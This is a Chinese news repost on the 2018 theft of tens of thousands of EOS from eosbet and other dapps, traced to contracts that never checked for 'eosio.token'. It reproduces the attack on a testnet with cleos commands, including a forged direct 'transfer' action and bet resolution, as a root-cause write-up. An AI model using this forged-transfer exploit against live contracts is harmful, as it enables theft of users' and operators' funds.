三大EOS DAPP被黑客攻破薅走数万EOS

栏目: 编程工具 · 发布时间: 6年前

内容简介:昨天,日收万金的EOS大赌场:eosbet 被黑客攻击了——黑客aabbccddeefg 利用合约漏洞,零成本薅走 bet 奖池约 5万EOS。官方紧急发表声明,并关闭了游戏:eosbet刚被攻击关停,排名其后的

昨天,日收万金的EOS大赌场:eosbet 被黑客攻击了——黑客aabbccddeefg 利用合约漏洞,零成本薅走 bet 奖池约 5万EOS。

三大EOS DAPP被黑客攻破薅走数万EOS
eosbet

官方紧急发表声明,并关闭了游戏:

三大EOS DAPP被黑客攻破薅走数万EOS
eosbet官方紧急关闭了游戏

eosbet刚被攻击关停,排名其后的 dice游戏被同一个黑客再次攻破 ,使用同样的攻击手段, 转走大量EOS。。。。去中心化交易所 newdex也被用同样的手段攻破 。。。。。EOS Dapp前10中有3个被黑客成功攻破。。。。一下子,开发者都砸开了,难道是eos公链存在什么妖蛾子?

不过很快,币乎的一个技术大牛找到了问题的原因—— 仅仅因为缺少对代码调用是否来源于“eosio.token” 的判断 !我勒个去,这些开发者难道是零时工吗?这样低级的错误都能犯!

有大牛还原了黑客攻击流程(币乎作者cj1991)

在测试网,部署被攻击时的代码,实现一遍攻击方式,看看是否有效。

github代码: https://github.com/ganjingcun/bet-death-causes

这些代码是9月12号前 用get code 拉下来的。所以,我只是还原了作案现场。事情不是我干的。是大神v5。

cleos -u http://api1.eosasia.one get code -a betdice.abi -c betdice.wast eosbetdice11  cleos -u http://api1.eosasia.one get code -a safetransfer.abi -c safetransfer.wast safetransfer
// create account  cleos create account eosio eosbetdice11 EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi  cleos create account eosio safetransfer EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi  cleos create account eosio eosbetcasino EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi
// set code  cleos set code eosbetdice11 /Users/joe/Workspace/eos-project/eos-bet-dice/betdice.wast  cleos set abi eosbetdice11 /Users/joe/Workspace/eos-project/eos-bet-dice/betdice.abi
cleos set code safetransfer /Users/joe/Workspace/eos-project/eos-bet-dice/safetransfer.wast  cleos set abi safetransfer /Users/joe/Workspace/eos-project/eos-bet-dice/safetransfer.abi
// set permission  cleos set account permission eosbetdice11 active ‘{“threshold”: 1,”keys”: [{“key”: “EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi”,”weight”: 1}],”accounts”:[{“permission”:{“actor”:”eosbetdice11″,”permission”:”eosio.code”},”weight”:1}]}’ owner -p eosbetdice11@owner  cleos set account permission safetransfer active ‘{“threshold”: 1,”keys”: [{“key”: “EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi”,”weight”: 1}],”accounts”:[{“permission”:{“actor”:”safetransfer”,”permission”:”eosio.code”},”weight”:1}]}’ owner -p safetransfer@owner  cleos set account permission safetransfer active ‘{“threshold”: 1,”keys”: [{“key”: “EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi”,”weight”: 1}],”accounts”:[{“permission”:{“actor”:”eosbetdice11″,”permission”:”eosio.code”},”weight”:1}]}’ owner -p safetransfer@owner
cleos set account permission eosbetcasino random ‘{“threshold”: 1,”keys”: [{“key”: “EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi”,”weight”: 1}],”accounts”:[]}’ owner -p eosbetcasino@owner
// initcontract  cleos push action eosbetdice11 initcontract ‘{“randomness_key”:”EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi”}’ -p eosbetcasino
// test  cleos push action eosbetdice11 transfer ‘{“from”:”joetothemoon”,”to”:”eosbetdice11″,”quantity”:”10.0000 EOS”,”memo”:”88-okbtozhemoon-“}’ -p joetothemoon
// result  cleos get actions joetothemoon
cleos get table eosbetdice11 eosbetdice11 activebets
// try resolvebet (先用 get table eosbetdice11 eosbetdice11 activebets 获取 bet_id, 签名替换为你的私钥对应生成签名。  cleos push action eosbetdice11 resolvebet ‘{“bet_id”:”13268895739635552667″, “sig”:”SIG_K1_JyLrnpivQrsrmfaFqpk8168zS3sAxVi91KWb3MCkU5uBNrj52h7GPp5HMSxxdA3y9yMPHpQSWw1PNn4kJojMAHK2kK9fRY”}’ -p eosbetcasino@random
 

步骤稍微讲解下,就是在测试网,创建相关账号,然后部署合约,然后执行攻击手段,然后开奖,成功证明,确实是 缺少了 判断 “eosio.token” 引起的。先执行 :

// test  cleos push action eosbetdice11 transfer ‘{“from”:”joetothemoon”,”to”:”eosbetdice11″,”quantity”:”10.0000 EOS”,”memo”:”88-okbtozhemoon-“}’ -p joetothemoon

也就是直接调用 合约的 tranfer :发现执行成功。获取等待开奖的下注记录:

cleos get table eosbetdice11 eosbetdice11 activebets

由于bet 的开奖方式,是先生成下注记录,然后在用一个号来开奖,所以,我们手动一步步还原的过程中,下注记录是存在的,接下来,就是调用开奖了:获取bet_id, 然后用 eosbetcasino 开奖

// try resolvebet (先用 get table eosbetdice11 eosbetdice11 activebets 获取 bet_id, 签名替换为你的私钥对应生成签名。

cleos push action eosbetdice11 resolvebet ‘{“bet_id”:”13268895739635552667″, “sig”:”SIG_K1_JyLrnpivQrsrmfaFqpk8168zS3sAxVi91KWb3MCkU5uBNrj52h7GPp5HMSxxdA3y9yMPHpQSWw1PNn4kJojMAHK2kK9fRY”}’ -p eosbetcasino@random

这里的开奖方式注意下,需要传入一个签名。请自己去生成。从直接调用 tansfer ,到生成下注记录,再到调用开奖。结论已经很明显了。根本不存在什么毁灭性bug,只是有一个 程序员 要祭天了而已..

文章来自: CocosBCX投资者社区 ( 原文链接

访问资讯分类,查看更多有价值的 区块链游戏 资讯。


以上所述就是小编给大家介绍的《三大EOS DAPP被黑客攻破薅走数万EOS》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Advanced Web Metrics with Google Analytics

Advanced Web Metrics with Google Analytics

Brian Clifton / Sybex / 2008 / USD 39.99

Are you getting the most out of your website? Google insider and web metrics expert Brian Clifton reveals the information you need to get a true picture of your site's impact and stay competitive usin......一起来看看 《Advanced Web Metrics with Google Analytics》 这本书的介绍吧!

随机密码生成器
随机密码生成器

多种字符组合密码

MD5 加密
MD5 加密

MD5 加密工具

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具